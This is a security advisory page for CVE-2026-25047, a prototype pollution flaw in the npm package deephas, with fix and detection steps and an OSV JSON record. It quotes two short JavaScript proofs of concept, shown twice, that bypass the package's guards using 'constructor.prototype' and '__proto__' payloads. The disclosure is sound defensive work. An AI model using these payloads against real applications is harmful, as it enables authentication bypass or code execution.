CVE-2026-25047: Deephas DeepHas Vulnerable To Prototype Pollution Vulnerability

CRITICAL
Advisory Identifier: GHSA-2733-6c58-pf27
CWE-1321
Published
Advisory Summary

CVE-2026-25047 is a CRITICAL deephas vulnerable to prototype pollution vulnerability (CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')) affecting Deephas libraries in the npm ecosystem. The issue involves deephas vulnerable to prototype pollution via constructor.prototype. Remediation is available by upgrading affected packages to version 1.0.8.

CVE-2026-25047 at a Glance

CVE Identifier CVE-2026-25047
GHSA Identifier GHSA-2733-6c58-pf27
Severity CRITICAL
CVSS v3.1 Base Score N/A
CWE Classification CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Affected Product Deephas
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-25047

To remediate this vulnerability, upgrade all affected Deephas dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

deephas fixed: 1.0.8
npm install deephas@1.0.8
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls deephas

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-25047, inspect your project dependencies using npm:

npm ls deephas

Analyze the terminal output to locate any version of Deephas in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.8), your application is affected.

Note: The npm ls deephas command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), where the product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. In Deephas, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A prototype pollution vulnerability exists in version 1.0.7 of the deephas npm package that allows an attacker to modify global object behavior. This issue was fixed in version 1.0.8. ### Details The vulnerability resides in the `add()` function and `indexer()` function implemented within `deepHas.js`. Although version 1.0.7 attempts to prevent prototype pollution by checking property ownership (e.g., using Object.hasOwnProperty) and by checking against forbidden string usage (using String.prototype.indexOf), this check can be bypassed as shown in the PoC By doing so, an attacker can inject properties into Object.prototype through a payload such as constructor.prototype.polluted or __proto__.polluted resulting in prototype pollution. This issue affects all JavaScript runtimes that rely on npm packages (including Node.js, Deno, and Bun) and is independent of the operating system. ### PoC #### Steps to reproduce 1. Install version 1.0.7 of `deephas` using npm install 2. Run one of the following code snippets: ```javascript //PoC 1 Object.prototype.hasOwnProperty = () => true; console.log({}.polluted); const dh = require('deephas'); let obj = {}; dh.set(obj, 'constructor.prototype.polluted', 'yes'); console.log('{ ' + obj.polluted + ', ' + 'yes' + ' }'); // prints yes => the patch is bypassed and prototype pollution occurred ``` OR ```javascript //PoC 2 String.prototype.indexOf = () => -1; console.log({}.polluted); const dh = require('deephas'); let obj = {}; dh.set(obj, '__proto__.polluted', 'yes'); console.log('{ ' + obj.polluted + ', ' + 'yes' + ' }'); // prints yes => the patch is bypassed and prototype pollution occurred ``` #### Expected behavior Prototype pollution should be prevented and {} should not gain new properties. This should be printed on the console: ``` undefined undefined OR throw an Error ``` #### Actual behavior Object.prototype is polluted and the property polluted becomes globally accessible. This is printed on the console: ``` undefined yes ``` ### Impact This is a prototype pollution vulnerability, which can have severe security implications depending on how deephas is used by downstream applications. Any application that processes attacker-controlled input using `deephas.set` may be affected. It could potentially lead to the following problems: 1. Authentication bypass 2. Denial of service 4. Remote code execution (if polluted property is passed to sinks like eval or child_process)

CVE-2026-25047 Affected Deephas Versions

1 component(s)
Fixed Versions:
1.0.8
Product / Package Ecosystem Affected Versions Fixed Version
deephas
npm
< 1.0.8
1.0.8

References

Frequently Asked Questions

What is CVE-2026-25047?
CVE-2026-25047 is a security vulnerability in Deephas involving deepHas vulnerable to Prototype Pollution via constructor.prototype under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').
Which Deephas versions are affected?
Affected versions include releases prior to 1.0.8 across affected packages: deephas.
What version fixes CVE-2026-25047?
Upgrading to 1.0.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is deephas affected?
Yes, deephas is affected in releases prior to 1.0.8. Upgrade your dependency to 1.0.8 or later.
What CWE is associated with CVE-2026-25047?
CVE-2026-25047 is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') (The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.).
How can I check npm dependencies for CVE-2026-25047?
Run the dependency tree command: 'npm ls deephas'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2733-6c58-pf27",
  "modified" : "2026-02-27T20:45:38Z",
  "published" : "2026-01-29T22:21:32Z",
  "aliases" : [ "CVE-2026-25047" ],
  "summary" : "deepHas vulnerable to Prototype Pollution via constructor.prototype",
  "details" : "### Summary\nA prototype pollution vulnerability exists in version 1.0.7 of the deephas npm package that allows an attacker to modify global object behavior. This issue was fixed in version 1.0.8.\n\n### Details\nThe vulnerability resides in the `add()` function and `indexer()` function implemented within `deepHas.js`. Although version 1.0.7 attempts to prevent prototype pollution by checking property ownership (e.g., using Object.hasOwnProperty) and by checking against forbidden string usage (using String.prototype.indexOf), this check can be bypassed as shown in the PoC\n\nBy doing so, an attacker can inject properties into Object.prototype through a payload such as constructor.prototype.polluted or __proto__.polluted resulting in prototype pollution.\n\nThis issue affects all JavaScript runtimes that rely on npm packages (including Node.js, Deno, and Bun) and is independent of the operating system.\n\n### PoC\n#### Steps to reproduce\n1. Install version 1.0.7 of `deephas` using npm install\n2. Run one of the following code snippets:\n\n```javascript\n//PoC 1\nObject.prototype.hasOwnProperty = () => true;\nconsole.log({}.polluted);\nconst dh = require('deephas');\nlet obj = {};\ndh.set(obj, 'constructor.prototype.polluted', 'yes');\nconsole.log('{ ' + obj.polluted + ', ' + 'yes' + ' }'); // prints yes => the patch is bypassed and prototype pollution occurred\n```\nOR\n\n```javascript\n//PoC 2\nString.prototype.indexOf = () => -1;\nconsole.log({}.polluted);\nconst dh = require('deephas');\nlet obj = {};\ndh.set(obj, '__proto__.polluted', 'yes');\nconsole.log('{ ' + obj.polluted + ', ' + 'yes' + ' }'); // prints yes => the patch is bypassed and prototype pollution occurred\n```\n\n#### Expected behavior\nPrototype pollution should be prevented and {} should not gain new properties.\nThis should be printed on the console:\n```\nundefined\nundefined OR throw an Error\n```\n\n#### Actual behavior\nObject.prototype is polluted and the property polluted becomes globally accessible.\nThis is printed on the console:\n```\nundefined\nyes\n```\n\n### Impact\nThis is a prototype pollution vulnerability, which can have severe security implications depending on how deephas is used by downstream applications. Any application that processes attacker-controlled input using `deephas.set` may be affected.\nIt could potentially lead to the following problems:\n1. Authentication bypass\n2. Denial of service\n4. Remote code execution (if polluted property is passed to sinks like eval or child_process)",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "deephas"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/sharpred/deepHas/security/advisories/GHSA-2733-6c58-pf27"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25047"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sharpred/deepHas/commit/8097fafd3776c613d8066546653e0d2c7b5fc465"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/sharpred/deepHas"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1321" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-29T22:21:32Z",
    "nvd_published_at" : "2026-01-29T22:15:55Z"
  }
}